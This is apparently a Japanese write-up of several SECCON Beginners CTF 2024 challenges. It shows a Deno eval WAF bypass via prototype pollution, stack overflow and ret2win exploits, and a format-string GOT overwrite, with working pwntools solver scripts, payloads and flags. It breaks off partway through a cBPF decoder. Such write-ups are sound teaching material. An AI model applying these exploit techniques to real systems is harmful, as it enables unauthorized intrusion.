double-leaks-mongodb-1  | {"t":{"$date":"2024-06-19T13:09:44.048+00:00"},"s":"E",  "c":"WT",       "id":22435,   "ctx":"initandlisten","msg":"WiredTiger error message","attr":{"error":1,"message":{"ts_sec":1718802584,"ts_usec":48018,"thread":"1:0x7f7f0fa6fc80","session_name":"connection","category":"WT_VERB_DEFAULT","category_id":9,"verbose_level":"ERROR","verbose_level_id":-3,"msg":"__posix_open_file:815:/data/db/WiredTiger.wt: handle-open: open","error_str":"Operation not permitted","error_code":1}}}
(略)
double-leaks-backend-1  | pymongo.errors.ServerSelectionTimeoutError: mongodb:27017: timed out (configured timeouts: socketTimeoutMS: 20000.0ms, connectTimeoutMS: 20000.0ms), Timeout: 30s, Topology Description: <TopologyDescription id: 6672d8974eb426750bf358ff, topology_type: Unknown, servers: [<ServerDescription ('mongodb', 27017) server_type: Unknown, rtt: None, error=NetworkTimeout('mongodb:27017: timed out (configured timeouts: socketTimeoutMS: 20000.0ms, connectTimeoutMS: 20000.0ms)')>]>

そのためこの問題では、最初から問題文URLに対して実験等を行いました。

[web, medium] flagAlias (29 teams solved, 174 points)

以下のコマンドを実行して、問題サーバのURLを取得してください。

nc flagalias.beginners.seccon.games 5000

実行するとhashcash -mb26 <RANDOM ID>とhashcash token:という表示が出ます。<RANDOM ID>の部分は毎回変わります。
hashcashコマンドを使用してhashcash -mb26 <RANDOM ID>を実行し、hashcash token:の部分に入力してください。すると、問題サーバのURLと認証情報が表示されます。

悩んだ問題の1つです。配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app/deno.jsonc:        ASCII text
./app/Dockerfile:        ASCII text
./app/flag.ts:           JavaScript source, ASCII text
./app/main.ts:           JavaScript source, ASCII text
./docker-compose.yaml:   ASCII text
./nginx/Dockerfile:      ASCII text
./nginx/html/index.html: HTML document, ASCII text
./nginx/nginx.conf:      ASCII text
$

続いて各種ファイルを確認すると、 app/DofilerfileDeno というものを使って main.ts を実行しているようでした:

(前略)
CMD ["deno", "task", "run"]

Denoが初耳だったので調べてみると、 Deno, the next-generation JavaScript runtime というもので、サーバー側でJavaScript/TypeScriptを実行できるものらしいです。Node.jsのようなものだと思います。

なお、 app/flag.txt 内容が、関数名すら編集された状態でした:

export function **FUNC_NAME_IS_REDACTED_PLEASE_RENAME_TO_RUN**() {
  // **REDACTED**
  return "**REDACTED**";
}

export function getFakeFlag() {
  return "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}";
}

とりあえず適当な関数名に変更して docker compose up すると正常にコンテナが起動したので、動作検証はローカルで行いました。

また、今となっては信じられないことなのですが、 app/deno.jsonc の存在に全く気付いていませんでした。そのファイルはDenoで有効にする権限等を指定する重要なファイルとのことです。次の内容でした:

{
  "tasks": {
    // DO NOT USE --allow-read flag
    "run": "DENO_NO_PROMPT=1 deno run --allow-sys --allow-net --allow-env main.ts"
  }
}

さて、それでサーバー本体の app/main.ts は次の内容でした:

import * as flag from "./flag.ts";

function waf(key: string) {
  // Wonderful WAF :)
  const ngWords = [
    "eval",
    "Object",
    "proto",
    "require",
    "Deno",
    "flag",
    "ctf4b",
    "http",
  ];
  for (const word of ngWords) {
    if (key.includes(word)) {
      return "'NG word detected'";
    }
  }
  return key;
}

export async function chall(alias = "`real fl${'a'.repeat(10)}g`") {
  const m: { [key: string]: string } = {
    "wonderful flag": "fake{wonderful_fake_flag}",
    "special flag": "fake{special_fake_flag}",
  };
  try {
    // you can set the flag alias as the key
    const key = await eval(waf(alias));
    m[key] = flag.getFakeFlag();
    return JSON.stringify(Object.entries(m), null, 2);
  } catch (e) {
    return e.toString();
  }
}

const handler = async (request: Request): Promise<Response> => {
  try {
    const body = JSON.parse(await request.text());
    const alias = body?.alias;
    return new Response(await chall(alias), { status: 200 });
  } catch (_) {
    return new Response('{"error": "Internal Server Error"}', { status: 500 });
  }
};

if(Deno.version.deno !== "1.42.0"){
  console.log("Please use deno 1.42.0");
  Deno.exit(1);
}
const port = Number(Deno.env.get("PORT")) || 3000;
Deno.serve({ port }, handler);

ユーザー入力を eval してその結果を出力に含みますが、 waf 関数にある拒否リストの単語む場合は 'NG word detected' へ置き換えられます。どうにかして flag.ts の関数一覧を取得して、かつ取得した関数を実行する必要がありそうです。

ユーザー入力を元に文字列操作をして、その結果をさらにTypeScriptとして評価する方法があれば、 waf関数 の検閲を回避しやすいです。 eval 関数そのものは waf 関数の拒否リストに入っているので代わりの方法を探しました。eval() - JavaScript | MDNを見ると Using the Function() constructor という節がありました。 Functionwaf 関数の拒否リストに入っていないため、活用できそうです。試しにユーザー入力として Function("return 3*3")() を与えると 9 が表示されました。うまくいっています!

ここからしばらくの試行錯誤過程です:

  • Function("import * as fl"+"ag from \"./fl"+"ag.ts\"")()import * as flag from "flag.ts" を試しましたが SyntaxError: Cannot use import statement outside a module エラーでした。Functionコンストラクターの内容は関数bodyに記述することと同等らしいので、構文上の制限があるようです。この時点で import 系統を使う方式は諦めました。
  • Function("return typeof(this);")() で、実行されるコンテキストでの this を調べると object でした。
  • Function("return Obj"+"ect.keys(this)")()this のメンバーを探すと、 Deno がありました。
  • Function("return this.De"+"no.readTextFile(\"fl"+"ag.ts\")")()Deno.ReadFile("flag.ts") を使った flag.ts 読み込みを試しましたが PermissionDenied: Requires read access to "flag.ts", run again with the --allow-read flag エラーになりました。 deno.jsonc--allow-read フラグが無いためです。
  • Function("return Obj"+"ect.getOwnPropertyNames(this.De"+"no.run({cmd: ['whoami']}))")()Deno.run({cmd: ['whoami']}) のサブコマンド実行を試しましたが PermissionDenied: Requires run access to "whoami", run again with the --allow-run flag エラーとなりました。
  • Function("return Obj"+"ect.keys(this.De"+"no.mainModule)")()Deno.mainModule へアクセスしようとしましたが、これまた PermissionDenied: Requires read access to <main_module>, run again with the --allow-read flag エラーとなりました。
  • Function("return Obj"+"ect.getOwnPropertyNames(this.De"+"no.env.toObj"+"ect())")()Deno.env メンバーを確認しましたが、あまり面白いものはなさそうでした。このあたりで、ただオブジェクトを探索するだけでは何も見つからない予感がしてきました。
  • Function("obj", "return Obj"+"ect.getOwnPropertyNames(obj)")(chall)chall 関数経由で何かあるか探しましたが、 length,name だけのようでした。
  • flag モジュールへどうにかアクセスしたいですが、それは waf 関数に検閲される文字列です。
  • 最終的に Function("String.pro"+"totype.includes = function(){return false;}; return 'hacked'")() でPrototype Pollutionすることで waf 関数の key.includes(word) 判定を無力化させてから、 Object.getOwnPropertyNames(flag) すると flag モジュールに含まれる関数名の一覧が得られることが分かりました。

後は問題文記載のコマンドを実行して、実際に試すことにしました:

$ nc flagalias.beginners.seccon.games 5000
     .::.::.::.
    ::^^:^^:^^::  >> Cake Chef <<
    ':'':'':'':'
    _i__i__i__i_     CTF
   (____________)    Instance
   |#o##o##o##o#|    Generator
   (____________)
We will create a new server for you.
 Please test your exploit locally.

hashcash -mb26 bLI1vEWFiM
hashcash token:
1:26:240615:bli1vewfim::5sBDEBNYCk6PLnzU:0000009IDS7
[+] Correct
Your server: https://flagalias.beginners.seccon.games:48469/
Username for basic auth: guest
Password for basic auth: fh2NTYWr7FbV9OoZ
Timeout: 600sec
It may take less than a minute to start a new instance.
Please be patient. You can close this connection now.

表示されたサーバーに、表示された認証情報でログインすると、ローカル確認時と同様のWebページが表示されました。 Function("String.pro"+"totype.includes = function(){return false;}; return 'hacked'")() からの Object.getOwnPropertyNames(flag) を実行しました:

[
  [
    "wonderful flag",
    "fake{wonderful_fake_flag}"
  ],
  [
    "special flag",
    "fake{special_fake_flag}"
  ],
  [
    "getFakeFlag,getRealFlag_yUC2BwCtXEkg",
    "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
  ]
]

見つかった flag.getRealFlag_yUC2BwCtXEkg() 関数を実行しました:

[
  中略
  [
    "fake{The flag is commented one line above here!}",
    "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
  ]
]

まさかのfakeが表示されたことに驚きました。とはいえ試行錯誤の段階で、関数そのものを文字列化すると関数定義全体が得られることに気付いていたので、 String(flag.getRealFlag_yUC2BwCtXEkg) を実行しました:

[
  中略
  [
    "function getRealFlag_yUC2BwCtXEkg() {\n  // Great! You found the flag!\n  // ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}\n  return \"fake{The flag is commented one line above here!}\";\n}",
    "fake{sorry. this isn't a flag. but, we wrote a flag in this file. try harder!}"
  ]
]

フラグを入手できました: ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}

Prototype Pollutionの影響範囲を理解していなかったため、その解法を思いつくまでに時間がかかってしまいました。ただし作問者様の解説記事 SECCON Beginners CTF 2024 (ctf4b) 作問者writeup [getRank] [flagAlias] #Security - Qiita によると、await import("./fl"+"ag.ts") の動的インポートを使う方法が想定解法だったとのことです。

[pwnable, beginner] simpleoverflow (683 teams solved, 50 points)

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

配布ファイルとして、問題本体のchallと、元ソースのsrc.cなどがありました:

$ file *
Dockerfile:  ASCII text
chall:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=abff9a2f7446757a9c400278aa319a489f0c7ee4, for GNU/Linux 3.2.0, not stripped
compose.yml: ASCII text
src.c:       C source, ASCII text
$

src.c は次の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

init 関数の内容は、標準湧出力のバッファリングを無効化していることと、実行から120秒経過後に SIGALRM で自身のプロセスを終了させることを行っています。また __attribute__((constructor)) 属性が付与されているため、 main 関数よりも前に、自動的に実行されます。

main 関数の内容は、10バイト長の char buf[10] 変数に対して、 read 関数で 0x10 == 16 バイトだけ読み込もうとしています。つまりスタックバッファオーバーフローが発生するため、 buf 変数直後のスタック領域を改ざんできます。

IDAで chall バイナリを開いて、逆アセンブル画面の IDA View-A タブで main 関数に移動してからF5キーを押して逆コンパイル結果の Pseudocode-A タブを表示します。もとの src.c のように変数へ型を付けると、次のようになります:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+2h] [rbp-Eh] BYREF
  int is_admin; // [rsp+Ch] [rbp-4h]

  memset(buf, 0, sizeof(buf));
  is_admin = 0;
  printf("name:");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  if ( is_admin )
    system("/bin/cat ./flag.txt");
  else
    puts("You are not admin. bye");
  return 0;
}

この状態で buf 箇所をダブルクリックすると、 Stack of main タブが表示されます:

-000000000000000E buf             db 10 dup(?)
-0000000000000004 is_admin        dd ?

この内容から、 buf 変数の直後に is_admin 変数が存在することが分かります。そのため buf 変数のスタックバッファオーバーフローによって is_admin 変数の内容を改ざんできます。11バイト以上の適当な入力を送信することで is_admin 変数の内容を非0に改ざんできれば、フラグが表示できることが分かります。

A 16文字を送信することで is_admin の内容を 0x41 (='A'のASCIIコード値) へ改ざんします:

$ nc simpleoverflow.beginners.seccon.games 9000
name:AAAAAAAAAAA
Hello, AAAAAAAAAAA

ctf4b{0n_y0ur_m4rk}
$

フラグを入手できました: ctf4b{0n_y0ur_m4rk}

[pwnable, easy] simpleoverwrite (280 teams solved, 66 points)

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

配布ファイルとして、問題本体のchallと、元ソースのsrc.cなどがありました:

$ file *
Dockerfile:  ASCII text
chall:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=275410f599d2a70ee1160130ddf95968e4fd690f, for GNU/Linux 3.2.0, not stripped
compose.yml: ASCII text
src.c:       C source, ASCII text
$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/simpleoverwrite/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

pwntoolsをインストールするとついてくる pwn checksecコマンド を使うと、ELFバイナリのセキュリティ属性を簡単に確認できて便利です。本問題の chall の場合は、 No canary found であるためスタックバッファオーバーフローによる戻りアドレス改ざんを検知する機構が無いこと、 No PIE であるため chall バイナリがメモリへ読み込まれる位置が固定であることが分かります。

src.c は次の内容でした:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
  char buf[100];
  FILE *f = fopen("./flag.txt", "r");
  fgets(buf, 100, f);
  puts(buf);
}

int main() {
  char buf[10] = {0};
  printf("input:");
  read(0, buf, 0x20);
  printf("Hello, %s\n", buf);
  printf("return to: 0x%lx\n", *(uint64_t *)(((void *)buf) + 18));
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

win 関数を実行させられたらフラグを得られますが、 init 関数や main 関数では win 関数を呼び出していません。そのためなんとかして win 関数へ制御を移す必要があります。

10バイト長の char buf[10] 変数に対して、 read 関数で 0x20 == 32 バイトだけ読み込もうとしています。つまりスタックバッファオーバーフローが発生するため、 buf 変数直後のスタック領域を改ざんできます。また、 read 関数では 0x00 のNUL文字や 0x0a の改行文字(LF, "\n")含めて、あらゆる文字を書き込めます。

IDAで chall バイナリを開いて、逆アセンブル画面の IDA View-A タブで main 関数に移動してからF5キーを押して逆コンパイル結果の Pseudocode-A タブを表示します。もとの src.c のように変数へ型を付けて、 Stack of main を確認します

-0000000000000010 ; D/A/*   : change type (data/ascii/array)
-0000000000000010 ; N       : rename
-0000000000000010 ; U       : undefine
-0000000000000010 ; Use data definition commands to create local variables and function arguments.
-0000000000000010 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000010 ; Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010 ;
-0000000000000010
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A buf             db 10 dup(?)
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

buf 変数 0x0a == 10 バイトのあとには、 s が8バイト、 r が8バイト続くことが分かります。上のコメントにある通り、s はsaved register(実質 rbp レジスタの値)、r は戻りアドレスを表します。つまり r の領域を win 関数のアドレスへ改ざんしてやれば、main 関数からreturnするときに win 関数を実行できます。

win 関数のアドレスは、IDAの逆アセンブル画面で調べるのが簡単だと私は思います:

.text:0000000000401186 ; Attributes: bp-based frame
.text:0000000000401186
.text:0000000000401186 ; int win()
.text:0000000000401186 public win
.text:0000000000401186 win proc near
.text:0000000000401186
.text:0000000000401186 s= byte ptr -70h
.text:0000000000401186 stream= qword ptr -8
.text:0000000000401186
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push    rbp
.text:0000000000401187 mov     rbp, rsp
(後略)

この表示から、 win 関数は 0x401186 に存在することが分かります。前述した通り No PIE のELFバイナリであるため、アドレスは固定です。

pwntoos に存在するprocess型を使うとローカルプロセスを起動しつつ、remote型を使うとサーバーと接続しつつ、同一のインターフェースで送受信できて非常に便利です。書いたソルバーです:

#!/usr/bin/env python3

import pwn

BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME

def solve(io):
    addr_win = 0x401186
    payload = pwn.flat([
            b"A" * (10 + 8),
            pwn.pack(addr_win),
        ])
    io.sendlineafter(b"input:", payload)
    io.recvline_contains(b"return to: ")
    print(io.recvall())
    pass

# with pwn.process("./chall") as io: solve(io)
with pwn.remote("simpleoverwrite.beginners.seccon.games", 9001) as io: solve(io)

実行しました:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/simpleoverwrite/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
[+] Receiving all data: Done (22B)
[*] Closed connection to simpleoverwrite.beginners.seccon.games port 9001
b'ctf4b{B3l13v3_4g41n}\n\n'
$

フラグを入手できました: ctf4b{B3l13v3_4g41n}

[pwnable, easy] pure-and-easy (85 teams solved, 108 points)

nc pure-and-easy.beginners.seccon.games 9000

問題文は nc コマンドの接続先のみです。配布ファイルとして、問題本体のchallと、元ソースのsrc.cなどがありました:

$ file *
Dockerfile:  ASCII text
chall:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7038683f1853c9c942979618dd84970424e58b63, for GNU/Linux 3.2.0, not stripped
compose.yml: ASCII text
src.c:       C source, ASCII text

$ pwn checksec chall
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/pure-and-easy/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

pwn checksec コマンドの結果を見ると、 Partial RELRO であるため GOT 領域を実行時に書き換えられること、 No PIE であるため chall バイナリがメモリへ読み込まれる位置が固定であることが分かります。

src.c は次の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);
  exit(0);
}

void win() {
  char buf[0x50];
  FILE *fp = fopen("./flag.txt", "r");
  fgets(buf, 0x50, fp);
  puts(buf);
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

この問題でも win 関数を実行させられたらフラグを得られますが、 init 関数や main 関数では win 関数を呼び出していません。そのためなんとかして win 関数へ制御を移す必要があります。

ここで、ユーザー入力値を受けるバッファ buf を、 printf 関数の第1引数に渡していることに着目します。 printf 関数の第1引数は書式文字列であり、悪意あるユーザー入力を与えるとメモリ書き込みやメモリ読み込みができます。このような脆弱性をFormat String Bug(略称FSB)と呼びます。

なお、Linuxが準拠しているPOSIXでは、 %1$p 等の引数位置を指定した書式文字列を使えます。 fprintf などのドキュメントで "%n$" form として言及されています。C言語の標準仕様にはありません(printf, fprintf, sprintf, snprintf, printf_s, fprintf_s, sprintf_s, snprintf_s - cppreference.com)。

pwntoolspwnlib.fmtstr関数を使うと、FSB用の文字列を簡単に構築できて便利です。ただし「ユーザー入力が何番目の引数として登場するか」は事前に調べておく必要があります。調べました:

$ ./chall
> %5$paaaa
0x7fca3a5ee380aaaa
$ ./chall
> %6$paaaa
0x6161616170243625aaaa
$

第6引数にユーザー入力が現れていることが分かります。そのため fmtstr_payload 関数の第1引数 offset へは 6 を指定します。

さて、FSBを使うと任意アドレスへ任意内容を書き込めます。今回は、 main 関数の最後で呼び出している exit 関数の呼び出し先を win 関数へ改ざんすることにします。この方法は、 問題バイナリの GOT セクションにある exit 用の関数ポインターアドレスを改ざんすることで実現できます。各種アドレスの調査には、 pwntoolsELF型を使うと便利です。書いたソルバーです:

#!/usr/bin/env python3

import pwn
BIN_NAME = "./chall"
pwn.context.binary = BIN_NAME
# pwn.context.log_level = "DEBUG"

def solve(io):
    elf = pwn.ELF(BIN_NAME)
    got_exit = elf.got["exit"]
    addr_win = elf.symbols["win"]
    print(f"{got_exit = :08x}")
    print(f"{addr_win = :08x}")
    # 「%6$paaaa」で「0x6161616170243625aaaa」と出てきたので6
    payload = pwn.fmtstr_payload(6, {got_exit: addr_win})
    print(f"{payload = }")
    io.sendlineafter(b"> ", payload)
    print(io.recvall())


# with pwn.process(BIN_NAME) as io: solve(io)
with pwn.remote("pure-and-easy.beginners.seccon.games",  9000) as io: solve(io)

# COMMAND = """
# b *0x40133C
# continue
# """
# with pwn.gdb.debug(BIN_NAME, COMMAND) as io: solve(io)

実行しました:

$ ./solve.py
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/pure-and-easy/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pure-and-easy.beginners.seccon.games on port 9000: Done
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
got_exit = 00404040
addr_win = 00401341
payload = b'%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00B@@\x00\x00\x00\x00\x00'
[+] Receiving all data: Done (381B)
[*] Closed connection to pure-and-easy.beginners.seccon.games port 9000
b'                                                                \x90
                                                                              \xff                                            aaaaaba@@@ctf4b{Y0u_R34lly_G0T_M3}\n\nctf4b{Y0u_R34lly_G0T_M3}\n\n'
$

フラグを入手できました: ctf4b{Y0u_R34lly_G0T_M3}

[pwnable, medium] gachi-rop (34 teams solved, 162 points)

そろそろOne Gadgetにも飽きてきた?ガチROPの世界へようこそ!

nc gachi-rop.beginners.seccon.games 4567

悩んだ問題の1つです。問題本体のgachi-ropと、実行環境用のlibcライブラリlibc.so.6などがありました:

$ file *
Dockerfile:  ASCII text
compose.yml: ASCII text
flag.txt:    ASCII text, with no line terminators
gachi-rop:   ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=544bc7e10b49d189daa8d60d3d57a8f8416fc037, for GNU/Linux 3.2.0, not stripped
libc.so.6:   ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=962015aa9d133c6cbcfb31ec300596d7f44d3348, for GNU/Linux 3.2.0, stripped
$ pwn checksec gachi-rop
[!] Could not populate PLT: module 'unicorn' has no attribute 'UC_ARCH_RISCV'
[*] '/mnt/d/Documents/work/ctf/SECCON_Beginners_CTF_2024/gachi-rop/gachi-rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$

元ソースはありません。

配布バイナリに配布libcを使わせるよう改変

今回の問題のように、バイナリ本体だけではなくlibcバイナリも含まれる場合は、ローカル実行時に配布libcバイナリを使わせられたら、動作確認やデバッグが非常に捗ります。しかし何もしない状態だと、実行環境のシステム中にあるlibcバイナリを使用します:

$ ldd gachi-rop
        linux-vdso.so.1 (0x00007fff24d9b000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007faf28265000)
        /lib64/ld-linux-x86-64.so.2 (0x00007faf28487000)
$

私の環境の場合は /lib/x86_64-linux-gnu/libc.so.6 を使おうとしていることが分かります。 ./libc.so.6 ではありません。

このような場合、io12/pwninit: pwninit - automate starting binary exploit challengesというツールが便利です。手元環境で未インストールの状態だったので、コンテスト中にインストールしました。

  1. Rust環境(cargo コマンドを実行できる状況)を整備します。
  2. pwntools と、内部的に使用する patchelf のためのパッケージをインストールします。私の環境の場合は sudo apt install autoconf elfutils liblzma-dev libssl-dev でうまく行ったと思います。
  3. NixOS/patchelf: A small utility to modify the dynamic linker and RPATH of ELF executables を、手順に従ってインストールします。
  4. cargo install pwninit を実行して pwninit をインストールします。

pwninit のインストール成功後、配布バイナリへパッチを当てます

$ pwninit --version
pwninit 3.3.1
$ pwninit --bin ./gachi-rop --libc ./libc.so.6
bin: ./gachi-rop
libc: ./libc.so.6
ld: ./ld-2.35.so

copying ./gachi-rop to ./gachi-rop_patched
running patchelf on ./gachi-rop_patched
$ ldd gachi-rop_patched
        linux-vdso.so.1 (0x00007ffe38ddf000)
        libc.so.6 => ./libc.so.6 (0x00007fdaba96d000)
        ./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007fdabab98000)
$

無事に gachi-rop_patched では ./libc.so.6 を使うようになっていることが分かります。以降、ローカルで実行やデバッグするときは gachi-rop_patched を使用します。

配布バイナリ読解

IDAで gachi-rop_patched を開いて逆コンパイルします。 main 関数の内容は次の内容でした:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char bufSize0x10[16]; // [rsp+0h] [rbp-10h] BYREF

  install_seccomp();
  printf("system@%p\n", &system);
  memset(bufSize0x10, 0, sizeof(bufSize0x10));
  printf("Name: ");
  gets(bufSize0x10);
  printf("Hello, gachi-rop-%s!!\n", bufSize0x10);
  return 0;
}

gets 関数を使っているためバッファオーバーフローを起こせることが分かります。pwn checksec コマンド結果は No canary found であるため main 関数の戻りアドレス以降を改ざんできて、問題文のとおりにReturn Oriented Programming(略称ROP)ができそうなことが分かります。ここで gets 関数は 0x0a (= "\n") バイトのみを入力終端として扱い、それ以外はNUL文字含めてあらゆるバイトを受け入れ続ける挙動であることに注意してください。また、system 関数のアドレスが与えられているため、配布ファイルの情報と合わせると libc 中のROPガジェットのアドレス等はすべて分かります。

それとは別に、 main 関数冒頭で install_seccomp 関数を呼び出します。ローカル変数に型付けをした結果は次の内容でした:

void __fastcall install_seccomp()
{
  sock_fprog sockFprog; // [rsp+0h] [rbp-10h] BYREF

  sockFprog.len = 8;
  sockFprog.filter = arraySockFilterSize8;
  if ( prctl(PR_SET_NO_NEW_PRIVS, 1LL, 0LL, 0LL, 0LL) < 0 )// (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional)
                                                // 他の引数の意味はよくわからず……
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(2);
  }
  if ( prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sockFprog) < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
  }
}

はい、関数名のとおりではあるのですが、seccompのフィルターを何か設定しています!

配布バイナリ中のcBPF読解

seccompのフィルター用のグローバル変数の内容は次のものでした:

.data:0000000000404080     ; sock_filter arraySockFilterSize8[8]
.data:0000000000404080     arraySockFilterSize8 sock_filter <20h, 0, 0, 4>
.data:0000000000404080                                             ; DATA XREF: install_seccomp+E↑o
.data:0000000000404088                     sock_filter <15h, 0, 5, 0C000003Eh>
.data:0000000000404090                     sock_filter <20h, 0, 0, 0>
.data:0000000000404098                     sock_filter <35h, 3, 0, 40000000h>
.data:00000000004040A0                     sock_filter <15h, 2, 0, 3Bh>
.data:00000000004040A8                     sock_filter <15h, 1, 0, 142h>
.data:00000000004040B0                     sock_filter <6, 0, 0, 7FFF0000h>
.data:00000000004040B8                     sock_filter <6, 0, 0, 50000h>
.data:00000000004040B8     _data           ends
.data:00000000004040B8
.bss:00000000004040C0     ; ===========================================================================

この内容をなんとかして読解したいです。

最初は、うろ覚えの知識で「最近のフィルタープログラムはeBPFというらしいし、今回のもeBPFなのだろう」と思い込んでいました。色々Google検索して結果、LinuxのBPF : (4) ClangによるeBPFプログラムの作成と,BPF Compiler Collection (BCC) - 睡分不足を見つけてubpf/ubpf/disassembler.py at main · iovisor/ubpfを知りました。ただフィルター用のバイト列をダンプしてディスアセンブルを試しても、次のようにうまくいきませんでした:

unknown mem instruction 0x20
jeq %r0, 0xc000003e, +1280
unknown mem instruction 0x20
jge %r0, 0x40000000, +3
jeq %r0, 0x3b, +2
jeq %r0, 0x142, +1
ja32 %r0, 0x7fff0000, +0
ja32 %r0, 0x50000, +0

しばらく考えたり調べたりするとBPFプログラムの作成方法、BPFの検証器、JITコンパイル機能:Berkeley Packet Filter(BPF)入門(3)(1/3 ページ) - @ITを見つけました。次の記述がありました。

cBPFアーキテクチャについて説明した際はcBPF命令の構造体の名称を「struct cbpf_insn」としましたが、Linuxでは「struct sock_filter」という名称になっています。

今回まさに sock_filter 構造体を扱っています!eBPFではなくcBPFということが分かりました!ただそれはそうとcBPF用のディスアセンブラを探しましたが見つけられませんでした。仕方がないのでデータ構造の定義やビットの意味などを調べまくって、自力でディスアセンブルしました:

#!/usr/bin/env python3

import struct


def decode_code(code):
    # https://github.com/torvalds/linux/blob/44ef20baed8edcb1799bec1e7ad2debbc93eedd8/include/uapi/linux/bpf_common.h#L7
    result = ""
    result += {
0x00: "BPF_LD",
0x01: "BPF_LDX",
0x02: "BPF_ST",
0x03: "BPF_STX",
0x04: "BPF_ALU",
0x05: "BPF_JMP",
0x06: "BPF_RET",
0x07: "BPF_MISC",
        }[code & 0x07]
    result += " | " + {
0x00: "BPF_W",
0x08: "BPF_H",
0x10: "BPF_B",
        }[code & 0x18]
    result += " | " + {
0x00: "BPF_IMM",
0x20: "BPF_ABS",
0x40: "BPF_IND",
0x60: "BPF_MEM",
0x80: "BPF_LEN",
0xa0: "BPF_MSH",
        }[code & 0xe0]
    result += " | " + {
0x00: "BPF_ADD",
0x10: "BPF_SUB",
0x20: "BPF_MUL",
0x30: "BPF_DIV",
0x40: "BPF_OR",
0x50: "BPF_AND",
0x60: "BPF_LSH",
0x70: "BPF_RSH",
0x80: "BPF_NEG",
0x90: "BPF_MOD",
0xa0: "BPF_XOR",
0x00: "BPF_JA",
0x10: "BPF_JEQ",
0x20: "BPF_JGT",
0x30: "BPF_JGE",
0x40: "BPF_JSET",
        }[code & 0xf0]
